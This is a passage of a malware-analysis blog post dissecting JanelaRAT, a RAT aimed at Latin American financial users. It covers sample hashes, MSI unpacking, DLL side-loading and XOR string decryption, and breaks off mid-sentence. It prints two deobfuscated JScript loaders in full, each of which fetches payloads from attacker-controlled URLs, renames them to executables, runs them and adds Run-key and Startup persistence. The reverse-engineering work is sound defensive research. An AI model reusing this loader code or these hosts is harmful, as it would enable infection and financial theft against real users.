# JanelaRAT Today we're diving into a particularly nasty piece of malware that's been causing headaches for the financial sector in Latin America. Grab your favourite beverage as we dissect JanelaRAT, a sophisticated Remote Access Trojan that security researchers first spotted in the wild back in June 2023. Be warned this goes deep. The samples that we will be looking at are: | File Type | SHA256 Hash | Link to Sample | Malware Section | | --------- | ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | --------------- | | MSI | abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b | https://bazaar.abuse.ch/sample/abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b/ | Loader | | DLL | 3b8d1345d2effa73c62d7e3296122bc66b8fceacbcec24e7b37fd8d39f49ecf0 | https://bazaar.abuse.ch/sample/3b8d1345d2effa73c62d7e3296122bc66b8fceacbcec24e7b37fd8d39f49ecf0/ | RAT | ## What's JanelaRAT All About? In the simplest terms, JanelaRAT is a targeted threat with its crosshairs firmly aimed at Financial Tech users across the Latin American region (often seen in articles as LATAM). It's not just randomly fishing for victims – this RAT is on a mission to steal financial and cryptocurrency data, with a particular fondness for organisations in banking and decentralised finance. ## Where Does it Originate? While we can't point to a specific villain's lair as the birthplace of JanelaRAT, we can however speculate as there are some intriguing breadcrumbs to follow. Security researchers have noted possible connections to the "ClearFake" JavaScript framework – a nasty bit of kit used in a May 2024 campaign to deliver LummaC2 malware. Though they've appeared in separate campaigns, both "ClearFake" and JanelaRAT share some clever techniques that suggest either a connection between their creators or just a simple case of "*great minds think alike*" in the criminal underworld, but I'm not sure even *I* believe that one. The digital fingerprints on JanelaRAT strongly suggest a Portuguese-speaking threat actor. You can see this in the extensive use of Portuguese throughout the malware's strings, metadata, and decrypted content. Even the name itself – "JanelaRAT" – comes from the Portuguese word for "*window*," likely a nod to its sneaky ability to capture and analyse window title data from victim machines. What's particularly interesting is that JanelaRAT isn't built from scratch. It's actually a heavily modified variant of BX RAT (detailed further in ZScalers report by [ThreatLabz](https://www.zscaler.com/blogs/security-research/janelarat-repurposed-bx-rat-variant-targeting-latam-fintech)), which first reared its ugly head back in 2014. This suggests the developers have recycled an existing codebase, adding their own special flare embedding new features, adjusting and tweaking others to suit their own motives. ## How Does It Infect Systems? JanelaRAT's attack is not just a simple breach – it's a multi-stage process that typically starts with a VBScript or Jscript delivered via ZIP archives or MSI packages. The initial entry point of this variant remains a mystery, leading to speculation about a phishing, spear-phishing attack, or supply chain infection that results in a malicious MSI download. In both variants, after the initial infection, the JScript or VBScript fetches another ZIP archive from a predefined C2 location; investigation shows that this is embedded in an image file such as a `.bmp` containing the JanelaRAT payload alongside a legitimate executable, such as `identity_helper.exe` or `vmnat.exe`. This also indicates that it latches onto VMware virtualisation. The malware uses DLL side-loading to evade endpoint detection. Researchers have identified the side-loaded DLL as a malicious MS Edge file, specifically msedge_elf.dll. Modern day versions of this malware have been seen latching onto applications such as `Luo Painter` which we will slightly dive into a bit later when we look at the JavaScript payloads. However the main variant we will be dissecting downloads a file from a ZIP file, scrambles the name of the exe then removes all traces of the zip file from disk, sets up persistence then immediately reboots the computer to ensure that the malware runs on startup, this is the sample that was first seen back in 2023. ## Under the Hood: Technical Analysis JanelaRAT is crafted in C# for Microsoft .NET 4.0 and employs various crafty techniques to avoid detection and analysis: **DLL Side-loading** This isn't just any old trick – it's a technique where a malicious DLL gets loaded by a legitimate executable. Think of it as the malware wearing a convincing disguise of respectability. By abusing DLL side-loading, JanelaRAT can execute its dodgy code from seemingly legitimate executables, effectively giving security measures the slip. It's particularly effective because it allows the malware to operate stealthily, avoiding detection by security tools that are hunting for known malicious processes. In this variants case (feels like I'm talking about the TVA from Loki - ha!) it was masquerading as Microsoft edge's DLL when the user's session launches the infected executable, `identity_helper.exe` in this case, they will be side loading in the malicious C# embedded into the msedge_elf.dll. **String Encryption** Most of the malware's strings are encrypted using Rijndael AES in Cipher Block Chaining (CBC) mode. This is like the malware speaking in code – making it difficult for security researchers to understand what it's up to without first cracking its encryption. The variant we're looking at goes into multiple layers of string encryption, using a combination of XOR, Base64 encrypted with Rijndael AES CBC mode. There is also another layer of obfuscation on the .NET code making the classes, methods and functions difficult to read and understand. **Idle State** JanelaRAT can enter an idle state where it avoids any suspicious activity, further hindering analysis. It's like a burglar who freezes when they hear a noise – making it harder to catch in the act. # Inside the WindowRAT (Janela) ## Initial Compromise The initial deployment vector of this malware is unknown, in my case it came in a phishing email, but as there are several different variations of the malwares initial payload coming in different file formats the initial attack vector may vary. For this sample I have reviewed the following samples: (All come in MSI files - but there has been other deployment methods such as vbs.) | **SHA256** | **MalwareBazaar Link** | **First Seen** | | ------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------ | ------------------ | | `abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b` | [MalwareBazaar Sample](https://bazaar.abuse.ch/sample/abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b/) | 16th April 2024 | | `60b60873d6cfa59a1b467931ffe7efdc0575b02255c549502de50ad05d8f3b89` | [MalwareBazaar Sample](https://bazaar.abuse.ch/sample/60b60873d6cfa59a1b467931ffe7efdc0575b02255c549502de50ad05d8f3b89/) | 15th January 2025 | | `dd44b753f5adc173876732e20133703d007cc9c6ce7da3cb9cf19fe12ac12bb4` | [MalwareBazaar Sample](https://bazaar.abuse.ch/sample/dd44b753f5adc173876732e20133703d007cc9c6ce7da3cb9cf19fe12ac12bb4/) | 21st February 2025 | ### Unpacking MSI As the malware stager is in an MSI file we need to unpack this file to see what is inside, we can use Wix's Dark tool to be able to unpack this MSI. `dark.exe malware.msi -x .\` This will create three files: - Binary - MsiEmbeddedUI; and - MalwareLoader.wxs The WXS file is what we are interested in, we can open this with any text editor to see the XML inside. Inside the XML file we can see there is obfuscated JavaScript to be ran as JScript. It is also here that we can continue to see evidence of the Portuguese language being used. ![[Pasted image 20250322094858.png]] The obfuscated technique the threat actor is using appears to be name mangling, attempting to use long variables in attempt to hide what is going on but still allowing the application to run within JavaScript engines. We can craft a simple python script to analyse the JScript's intentions and deobfuscate the code allowing researchers and analysts we can understand what this malware is doing. ### JavaScript (abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b) The unpacked and deobfucated JS code reads as follows - this is the cleaned version of `abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b` I want to compare this to variants that have been seen later as you can see the threat actor has modified their tactics in order to hide detections from tools like Yara or sigma rules. ```JavaScript // Image 1 var var0 = "https://preeteeservicemaz.pro/wilcoaeze/bt.tmp"; var var18 = var0; var var16 = new ActiveXObject("WScript.Shell"); function Sleep(seconds) { var StartTime = new Date(); var datst = 0; while (datst <= (seconds * 1000)) { var EndTime = new Date(); var datst = EndTime.getTime() - StartTime.getTime(); } } function func0() { var text = ""; var var19 = "1v2"; for (var i = 0; i <= 5; i++) { text += var19.charAt(Math.floor(Math.random() * var19.length)); } return text; } function func1(url, file) { var lv0; var lv1; try { var var8 = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); var8.SetTimeouts(30000, 30000, 30000, 5000); void(var8.Open("GET", url, false)); var8.Send(); if (var8.Status == 404) { return false; } lv0 = var8.ResponseBody; } catch (ex) { return false; } lv1 = new ActiveXObject("ADODB.Stream"); lv1.Type = 1; lv1.Open(); lv1.Write(lv0); lv1.SaveToFile(file, 2); lv1.Close(); return true; } // Image 2 var var12 = new ActiveXObject("WScript.Shell"); var var20 = new ActiveXObject("Shell.Application"); var var6 = func0(); var var1 = func0(); var var2 = var12.ExpandEnvironmentStrings("%USERPROFILE%"); var var3 = var12.ExpandEnvironmentStrings("%USERPROFILE%") + "\\" + var6 + "\\"; var var13 = var12.ExpandEnvironmentStrings("%USERPROFILE%") + "\\" + var6 + "\\" + var1; var var4 = var12.ExpandEnvironmentStrings("%USERPROFILE%") + "\\" + var6 + "\\" + var1; var var5 = new ActiveXObject("Scripting.FileSystemObject"); var var11 = new ActiveXObject("Scripting.FileSystemObject"); if (!var11.FolderExists(var2)) { var a = var11.CreateFolder(var2); } var var10 = var12.ExpandEnvironmentStrings("%TEMP%") + "\\" + "snoop.ses"; if (var5.FileExists(var10)) { var16.Run("c:\\Windows\\System32\\cmd.exe /C start /MAX https://get.adobe.com/br/reader/"); } else { try { var txt = new ActiveXObject("Scripting.FileSystemObject"); var s = txt.CreateTextFile(var12["expandEnvironmentStrings"]("%TEMP%") + "\\" + "snoop.ses", true); s.WriteString("NULL"); s.Close(); } catch (ex) {} var var17 = new ActiveXObject("Scripting.FileSystemObject"); var17.CreateFolder(var3); var17.CreateFolder(var13); Sleep(1); func1(var18, var13 + "\\" + var6 + ".zip"); var var15 = new ActiveXObject("Shell.Application"); FilesInZip = var15.Namespace(var13 + "\\" + var6 + ".zip").items() // Image 3 var var15 = new ActiveXObject("Shell.Application"); FilesInZip = var15.Namespace(var13 + "\\" + var6 + ".zip").items() var15.Namespace(var13).CopyHere(FilesInZip); Sleep(1); var17.MoveFile(var13 + "\\senhor.exe", var13 + "\\" +var6 + "_" + var1+ ".exe"); var17.DeleteFile(var13 + "\\" + var6 + ".zip"); Sleep(1); var var14 = var13 + "\\" +var6 + "_" + var1+ ".exe"; var var21 = var4; Sleep(1); //var var22 = new ActiveXObject("WScript.Shell"); //var22.Run("c:\\Windows\\System32\\cmd.exe /c start "+var14); Sleep(1); var var7 = new ActiveXObject("WScript.Shell"); var7.Run("c:\\Windows\\System32\\cmd.exe /c start /MIN reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v " + var6 + var1 + " /t reg_sz /d \"" + var14 + "\""); Sleep(1); var var9 = new ActiveXObject("WScript.Shell"); var9.Run("shutdown /r /t 10"); // var var23 = "c:\\Windows\\System32\\cmd.exe /c schtasks /create /tn \"" + sinal + "\" /tr \"" + meapara + "\" /sc DAILY /st 07:00 /f /RI 60 /du 24:00"; // var naval3 = new ActiveXObject("Scripting.FileSystemObject"); // var s = naval3.CreateTextFile(amadora["expandEnvironmentStrings"]("%AppData%") + "\\" + numerserial+"shec" + ".cmd", true); // // s.Close(); // temporizador(2); // varpegabatche = amadora["expandEnvironmentStrings"]("%AppData%") + "\\" + numerserial+"shec" + ".cmd"; ``` 1. Downloads a payload from "[hxxps://preeteeservicemaz[.]pro/wilcoaeze/bt[.]tmp](hxxps://preeteeservicemaz[.]pro/wilcoaeze/bt[.]tmp)" 2. Creates random folder names in the user's profile directory 3. Creates a marker file called `snoop.ses` in the Temp directory to check if it has ran before or not. It will then download a file called senhor.exe, renames senhor.exe to a randomised name and then deletes the zip file to cover its tracks. 4. The malware creates persistence through the Windows Registry by adding itself to the `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` key as seen here: ```Java var7.Run("c:\\Windows\\System32\\cmd.exe /c start /MIN reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v " + var6 + var1 + " /t reg_sz /d \"" + var14 + "\""); ``` This is a common persistence technique that ensures the malware will automatically execute whenever the current user logs in. By using HKCU (HKEY_CURRENT_USER) instead of HKLM (HKEY_LOCAL_MACHINE), it: 1. Requires lower privileges (no admin rights needed) 2. Only affects the current user account, not all users on the system 3. Is less likely to be noticed than a machine-wide AutoStart entry The malware then initiates a system restart with a 10-second countdown: ```Java var9.Run("shutdown /r /t 10"); ``` This forces a restart to activate the persistence mechanism immediately, ensuring the malware will run at next login without requiring the user to manually restart. Key malicious behaviours: - Uses ActiveXObject to create WScript.Shell and other Windows scripting objects - Downloads remote content using WinHttpRequest - Persists by adding itself to the Windows registry run key - Forces a system restart with "shutdown /r /t 10" At the time of writing the domain used to download the `Senhor.exe` file is no longer active and I'm not a able to download the sample to analyse that binary further. However, we have been able to get our hands on the next stage of the payload, which we will dive into in the next section. ### JavaScript (dd44b753f5adc173876732e20133703d007cc9c6ce7da3cb9cf19fe12ac12bb4) Now we kind of understand what the malware was trying to do back in 2023-2024, let's switch gear and analyse what it has been updated to do in 2025. We will be looking at the sample `dd44b753f5adc173876732e20133703d007cc9c6ce7da3cb9cf19fe12ac12bb4` which was first seen on the 21st of Feb 2025. Here's the cleaned up code: ```JavaScript /* * SIMPLIFIED JAVASCRIPT - VARIABLE NAMES HAVE BEEN REPLACED * Original obfuscated variable names have been replaced with more readable alternatives. * The functionality remains unchanged. */ var urlArray_1 = ["var_1-1341831283.cos.sa-saopaulo.myqcloud.com/sena1.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/sena2.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/sena3.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/sena1.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/sena2.png"]; var urlArray_2 = ["var_1-1341831283.cos.sa-saopaulo.myqcloud.com/colheita1.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/colheita2.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/colheita3.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/colheita2.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/colheita1.png"]; var urlArray_3 = ["var_1-1341831283.cos.sa-saopaulo.myqcloud.com/manga1.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/manga2.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/manga3.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/manga2.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/manga1.png"]; var urlArray_4 = ["var_1-1341831283.cos.sa-saopaulo.myqcloud.com/arvore.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/arvore.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/arvore.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/arvore.png","var_1-1341831283.cos.sa-saopaulo.myqcloud.com/arvore.png"]; var array_1 = urlArray_1[Math.floor(Math.random() * urlArray_1.length )]; var alabuac = urlArray_2[Math.floor(Math.random() * urlArray_2.length )]; var alabdef = urlArray_3[Math.floor(Math.random() * urlArray_3.length )]; var alabilx = urlArray_4[Math.floor(Math.random() * urlArray_4.length )]; var data_1 = func_2(); var data_2 = 'https://' + array_1; var data_3 = 'https://' + alabilx; var data_4 = 'https://' + alabuac; var data_5 = 'https://' + alabdef; var shellObj_1 = new ActiveXObject("WScript.Shell"); function Sleep(seconds) { var StartTime = new Date(); var datet = 0; while (datet &lt; (seconds * 1000)) { var EndTime = new Date(); var datet = EndTime.getTime() - StartTime.getTime(); } } function func_1() { var shellObj_2 = new ActiveXObject("WScript.Shell"); data_17 = path_5; var data_6 = shellObj_2.data_18(data_17 + ".lnk"); data_6.TargetPath = path_1 + "\\" + data_10 + "\\" + data_11 + ".exe" data_6.data_19 = path_1; data_6.Save(); } function func_2() { var text = ""; var data_7 = "data_20"; for (var i = 0; i &lt; 11; i++) text += data_7.charAt(Math.floor(Math.random() * data_7.length)); return text; } function func_3(url, file) { var data_22; var data_23; try { var httpObj_1 = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); httpObj_1.data_24(30000, 30000, 30000, 5000); void(httpObj_1.Open("GET", url, false)); httpObj_1.Send(); if (httpObj_1.Status == 404) { return false; } data_22 = httpObj_1.data_25; } catch (ex) { return false; } data_23 = new ActiveXObject("ADODB.Stream"); data_23.Type = 1; data_23.Open(); data_23.Write(data_22); data_23.SaveToFile(file, 2); data_23.Close(); return true; } function CATRACAS(url, file) { var almeida; var cafils; try { var compa = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); compa.data_24(30000, 30000, 30000, 5000); void(compa.Open("GET", url, false)); compa.Send(); if (compa.Status == 404) { return false; } almeida = compa.data_25; } catch (ex) { return false; } cafils = new ActiveXObject("ADODB.Stream"); cafils.Type = 1; cafils.Open(); cafils.Write(almeida); cafils.SaveToFile(file, 2); cafils.Close(); return true; } var data_8 = new ActiveXObject("wscript.shell"); var data_9 = new ActiveXObject("Shell.data_26"); var data_10 = func_2(); var data_11 = func_2(); var path_1 = data_8.data_27("%PUBLIC%"); var path_2 = data_8.data_27("%data_28%"); var path_3 = data_8.data_27("%PUBLIC%") + "\\" + data_10 + "\\"; var path_4 = data_8.data_27("%data_28%") + "\\" + data_10 + "\\"; var path_5 = data_8.data_27("%APPDATA%") + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" + data_10; var fsObj_1 = new ActiveXObject("Scripting.data_29"); var fsObj_2 = new ActiveXObject("Scripting.data_29"); if (!fsObj_2.data_30(path_1)) var a = fsObj_2.data_31(path_1); var path_6 = data_8.data_27("%data_28%") + "\\"+ "tempp.ses"; if (fsObj_1.FileExists(path_6)) { shellObj_1.Run("c:\\Wi"+"ndows\\Sys"+"tem32\\cm"+"d.exe /C st"+"art /MAX http"+"s://get.ado"+"be.com/b"+"r/reade"+"r/"); } else { try { var txt = new ActiveXObject("Scripting.data_29"); var s = txt.data_32(data_8["data_33"]("%data_28%") + "\\" + "tempp.ses", true); s.WriteLine('NULL'); s.Close(); } catch (ex) {} var fsObj_3 = new ActiveXObject("Scripting.data_29"); fsObj_3.data_31(path_4); fsObj_3.data_31(path_3); Sleep(1); func_3(data_2, path_3 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_3 + "\\" + data_11 + ".png"); Sleep(5); func_3(data_4, path_4 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_4 + "\\" + data_11 + ".png"); Sleep(5); func_3(data_5, path_2 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_2 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_3 + "\\" + data_11 + ".png", path_3 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_4 + "\\" + data_11 + ".png", path_4 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_2 + "\\" + data_11 + ".png", path_2 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_3 + "\\" + data_11 + ".png", path_3 + "\\" +data_11 + ".exe"); fsObj_3.MoveFile(path_4 + "\\" + data_11 + ".png", path_4 + "\\" +data_11 + ".exe"); fsObj_3.MoveFile(path_2 + "\\" + data_11 + ".png", path_2 + "\\" + "ca"+"na"+"pe" + ".exe"); Sleep(2); fsObj_3.MoveFile(path_3 + "\\" + data_10 + ".png", path_3 + "\\" + data_10 +".png"); fsObj_3.MoveFile(path_4 + "\\" + data_10 + ".png", path_4 + "\\" + data_10 +".png"); fsObj_3.MoveFile(path_2 + "\\" + data_10 + ".png", path_2 + "\\" + data_10 +".png"); Sleep(2); fsObj_3.MoveFile(path_3 + "\\" + data_10 + ".png", path_3 + "\\" + "Luo Painter" +".dll"); fsObj_3.MoveFile(path_4 + "\\" + data_10 + ".png", path_4 + "\\" + "Luo Painter" +".dll"); fsObj_3.MoveFile(path_2 + "\\" + data_10 + ".png", path_2 + "\\" + "Luo Painter" +".dll"); Sleep(2); Sleep(2); Sleep(2); Sleep(2); Sleep(2); var data_12 = path_3 + data_11 + ".exe"; Sleep(2); var shellObj_3 = new ActiveXObject("WScript.Shell"); var penacara = path_4 + data_11+ ".exe"; shellObj_3.Run("c:\\Wi"+"ndows\\Sys"+"tem32\\cm"+"d.exe /c start "+penacara); // var data_13 = data_11 + ".exe"; // var data_14 = path_4 + data_13; // var shellObj_4 = new ActiveXObject("WScript.Shell"); // shellObj_4.Run("\""+data_14+"\"",0, false); Sleep(2); var shellObj_5 = new ActiveXObject("WScript.Shell"); shellObj_5.Run("c:\\Wind"+"ows\\Syste"+"m32\\cm"+"d.exe /C st"+"art /MIN re"+"g add HK"+"CU\\SOF"+"TWARE\\Micros"+"oft\\Wind"+"ows\\Cur"+"ren"+"tVers"+"ion\\Run /v " + data_11 + " /t re"+"g_s"+"z /d \"" + data_12 + "\""); // Sleep(2); func_1(); // var shellObj_6 = new ActiveXObject("WScript.Shell"); // Sleep(2); // Sleep(2); // shellObj_6.Run("shu"+"tdo"+"wn /r /f /t 60"); // Sleep(2); // Sleep(2); } ``` Off the bat we can see that there is a vast difference in how payload URLs are structured; rather than using a single URL, the malware maintains arrays of URLs for fetching additional payloads. This provides redundancy in case some command and control servers are unavailable. The malware also employs string fragmentation to break commands and file paths into segments, making static analysis and detection more difficult. For example, the persistence command is constructed through multiple string concatenations: ```Javascript shellObj_5.Run("c:\\Wind"+"ows\\Syste"+"m32\\cm"+"d.exe /C st"+"art /MIN re"+"g add HK"+"CU\\SOF"+"TWARE\\Micros"+"oft\\Wind"+"ows\\Cur"+"ren"+"tVers"+"ion\\Run /v " + data_11 + " /t re"+"g_s"+"z /d \"" + data_12 + "\""); ``` #### Multi-Stage File Operations and Execution A interesting aspect of this malware sample is its change in file manipulation: ```JavaScript func_3(data_2, path_3 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_3 + "\\" + data_11 + ".png"); Sleep(5); func_3(data_4, path_4 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_4 + "\\" + data_11 + ".png"); Sleep(5); func_3(data_5, path_2 + "\\" + data_10 + ".png"); CATRACAS(data_3, path_2 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_3 + "\\" + data_11 + ".png", path_3 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_4 + "\\" + data_11 + ".png", path_4 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_2 + "\\" + data_11 + ".png", path_2 + "\\" + data_11 + ".png"); fsObj_3.MoveFile(path_3 + "\\" + data_11 + ".png", path_3 + "\\" +data_11 + ".exe"); fsObj_3.MoveFile(path_4 + "\\" + data_11 + ".png", path_4 + "\\" +data_11 + ".exe"); fsObj_3.MoveFile(path_2 + "\\" + data_11 + ".png", path_2 + "\\" + "ca"+"na"+"pe" + ".exe"); Sleep(2); ``` The malware's file operations show a more mature approach: 1. It places identical malicious files in multiple locations across the file system 2. Gives different filenames to different instances of the same file 3. Initially downloads files with innocuous extensions (.png) before renaming them to executables 4. Uses benign-sounding names like "canape.exe" to avoid detection through inspection #### Command Execution and Process Disconnection A key aspect of this variant is how it executes the downloaded payloads: ```JavaScript var data_12 = path_3 + data_11 + ".exe"; Sleep(2); var shellObj_3 = new ActiveXObject("WScript.Shell"); var penacara = path_4 + data_11 + ".exe"; shellObj_3.Run("c:\\Wi"+"ndows\\Sys"+"tem32\\cm"+"d.exe /c start "+penacara); ``` The malware uses one instance of the downloaded payload (the "penacara" variable - "penacara" translates to *sorry* in English, how fitting...) as the primary execution vector, launching it through cmd.exe. This creates process disconnection that can help evade detection by security tools. By using cmd's "start" command, the malware ensures its payload runs in a separate process, allowing the original script to continue execution. #### Multiple Persistence Mechanisms The malware now uses multiple persistence techniques to ensure it runs after system restart, which is a key difference from `abc72097f51360b0d2ec6cee38f61f2416177e6b4bf55f48ff3221ce58e5ce2b` which ensured that the systems rebooted and ran the malware off the bat. 1. **Registry Run Key**: Adds an entry to `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` 2. **Startup Folder**: Creates a shortcut in the user's Startup folder via the `func_1()` function 3. **Multiple File Copies**: Maintains copies of itself in different locations under different names A interesting difference from earlier variants as discussed is that while the forced system restart functionality is still present in the code, it has been commented out: ```JavaScript func_1(); // var shellObj_6 = new ActiveXObject("WScript.Shell"); // Sleep(2); // Sleep(2); // shellObj_6.Run("shu"+"tdo"+"wn /r /f /t 60"); // Sleep(2); // Sleep(2); ``` Previous variants would force a system restart shortly after infection to ensure the persistence mechanisms took effect immediately. This version likely avoids this behaviour to maintain a lower profile, relying instead on the user eventually restarting their system or logging out/in. This variant uses the "Luo Painter" software (https://apps.microsoft.com/detail/9nwrwgkw5mk3?hl=en-US&gl=US) which side-loads "Luo Painter.dll". ## MSEdge_Elf.dll >[!note] >This variant isn't the same that links to the Luo Painter software, however, if you would like to use that sample `ed6229812cd41efae285b47866d43837732f66276f51b3c131768137d572bfaf` will be the SHA256 required for that sample. The Luo Painter sample has significant changes, especially around the encryption used for the base64 strings which will need to be unpacked later. This is the main event and were we will be spending most of our time analysing, the sample we are looking at is: `3b8d1345d2effa73c62d7e3296122bc66b8fceacbcec24e7b37fd8d39f49ecf0` (https://bazaar.abuse.ch/sample/3b8d1345d2effa73c62d7e3296122bc66b8fceacbcec24e7b37fd8d39f49ecf0/). As this is a DLL and we can confirm that it is using C# from tools like DiE (Detect it easy) we can open the malicious DLL in dnSpy or ILSpy to see the inner workings of the DLL. ### Metadata Digging through our DiE tool we can continue to do some static analysis on the file, looking at the metadata of the file with DiE, we can see indications of the Portuguese language in use throughout the DLL. ![[Pasted image 20250313201508.png]] Strings such as `recebeDados` meaning `receiveData` in English or `BarraDeProgrsso` translating to `ProgressBar`. This supports the findings and research into this RAT being written by someone who understands the Latin American language. ### First Layer of Obfuscation Using DnSpy we can open this DLL file, however, upon opening this DLL we can see that this has under gone some heavy obfuscation. The DLL itself appears to have been ran through an obfuscator such as [Eazfuscator](https://www.gapotchenko.com/eazfuscator.net), a .NET industrial grade obfuscator for .NET. Although, after further prodding of this code shows evidence that the obfuscation was written by the malware author, more on this as we dive down the rabbit hole. ![[Pasted image 20250315102027.png]] From our earlier investigation we know that this is a .NET DLL, meaning we can attempt to run this DLL through [de4dot](https://github.com/de4dot/de4dot). Sadly it shows that it is an unknown obfuscation type. However, this doesn't mean we are completely out of luck, looking at the names of the methods, functions and variables used we can ask our AI overlords to assist with creating a regex pattern to better understand the DLL. A pattern such as `([a-zA-Z][a-zA-Z0-9]*[A-Z][a-zA-Z0-9]*) @0x[0-9a-fA-F]+` will help de4dot to deobfuscate the DLL to make it easier to read. ```bash C:\Tools\de4dot\de4dot-x64.exe --un-name "([a-zA-Z][a-zA-Z0-9]*[A-Z][a-zA-Z0-9]*) @0x[0-9a-fA-F]+" "C:\Users\User\Documents\Samples\RAT\3b8d1345d2effa73c62d7e3296122bc66b8fceacbcec24e7b37fd8d39f49ecf0.dll" ``` This will create us a cleaned version of the DLL file which we can load into DnSpy to give us an easier time when reading through this code. ![[Pasted image 20250315102431.png]] For the ease of following along, I will stick to the obfuscated DLL and do comparisons where needed. It is important to note that this method of creating your own regex may not be completely accurate and you may loose some functionality of the malware. --- ### Second Layer of Obfuscation (XOR) Moving back into our investigation in DnSpy, let's get to know our malware. If we look under the `{}` section of the file, we can see there are one main class: `<COSMDOKLO>` under this class we have the `.cctor()` static constructor (This is a special method that initialises static members of a class and only runs once when the class is first loaded) & `oRM`. In the oRM method we will find XOR method; in the original DLL this method is obfuscated, designed to throw off or slow down reverse engineers. ```csharp internal static string oRM=(string A_0) { Hashtable hashtable; 瞝.PwEAAA==(hashtable = <COSMDOKLO>.sc); string text; try { if (矽.QwEAAA==%(<COSMDOKLO>.sc, A_0)) { text = (string)瞺.RAEAAA==%(<COSMDOKLO>.sc, A_0); } else { StringBuilder stringBuilder = new StringBuilder(); for (int i = 0; i < A_0.Length; i++) { 瞚.xgAAAA==%(stringBuilder, 矾.OwEAAA==((int)(A_0[i] ^ (char)<COSMDOKLO>.pRM=[i % <COSMDOKLO>.pRM=.Length]))); } 矿.RQEAAA==%(<COSMDOKLO>.sc, A_0, 睼.DwAAAA==%(stringBuilder)); text = 睼.DwAAAA==%(stringBuilder); } } finally { 瞝.PQEAAA==(hashtable); } return text; } ``` Analysing this method we can see it is a string decryption/deobfuscation method as it appears to: 1. Check if a string has already been decrypted (stored in a hashtable named `sc`) 2. If not, it decrypts the string using XOR operations with a byte array (`pRM=`) 3. Stores the result in the hashtable for future use (caching) 4. Returns the decrypted string If we look at the `.cctor()` static constructor we will find the byte array that the XOR method `oRM` uses to scramble the strings found within the malware sample. ![[Pasted image 20250309113250.png]] Now we have the byte array, we have one piece of the puzzle on how to decrypt the data and understand what the malware is doing, we will need a way to use that data though; but first we need to understand where this method is coming into play. We can use DnSpy to our advantage here, by right clicking on the method and clicking analyze we can find all references where this method is used or used by in the DLL. We want to look under the used by to see what methods or functions we can dive into: ![[Pasted image 20250313203557.png]] Straight off the bat we can see there are a number of obfuscated classes, methods and functions, making it harder to work out where to start looking. Before we continue diving down the very deep rabbit hole that is this malware, trust me I've spent weeks pulling this apart, let's work out where we can use this XOR decryption. Luckily, we have already answered that question with the analyze. We know that the DLL uses the constructor to set up the variables of `sc` for its hash table and `pRM` for its byte array and we know that the `oRM` method will use both `sc` and `pRM`, and through the analyze we have now got a list of classes, methods and functions that `oRM` touches. Let's click through these until we find one that can be used. ![[Pasted image 20250315105603.png]] Double clicking on the first obfuscated result we can see that the `oRM` method is used to pass in the contents of what appears to be unicode, this will run it through the byte array to decode and store that value in the text variable. Based on the name of the method we can speculate that this has something to do with obtaining the version of Windows being used, but let's find out for sure with a quick python script. ```python def xor_decrypt(encoded_str, key): """ Decrypt a string that was encrypted using XOR with the given key. This matches the original implementation's character-by-character XOR approach. Args: encoded_str (str): The encoded string to decrypt key (list): The key used for XOR decryption Returns: str: The decrypted string """ decoded_chars = [] key_length = len(key) for i, char in enumerate(encoded_str): # Perform direct character XOR operation like the original decoded_char = chr(ord(char) ^ key[i % key_length]) decoded_chars.append(decoded_char) return ''.join(decoded_chars) # Example usage key = ["bytes go here"] # Byte Array goes here - WITHOUT quotes encoded_str = "string" # Encoded String goes here decoded_str = xor_decrypt(encoded_str, key) print(decoded_str) ``` Plug in the byte array and the unicode text to see if our speculation was correct. ![[Pasted image 20250315111645.png]] Running this through the XOR function we can see it has been able to decrypt the contents showing us with the value: "*Datacentre Server without Hyper-V*". Now we know we have uncovered another layer of obfuscation. >[!note] >To make your journey easier in reversing this sample, it is recommended that when you find strings or you were able to reverse strings etc that you update your DLL so you can keep track of these, to do this in DnSpy, right-click and edit IL instruction, find the string you deobfucated and then replace it with the clear text. ![[Pasted image 20250315112416.png]] We can continue to carve through the DLL and remove this layer of obfuscation, however, you may quickly come to find there is something else in the mix, some of the 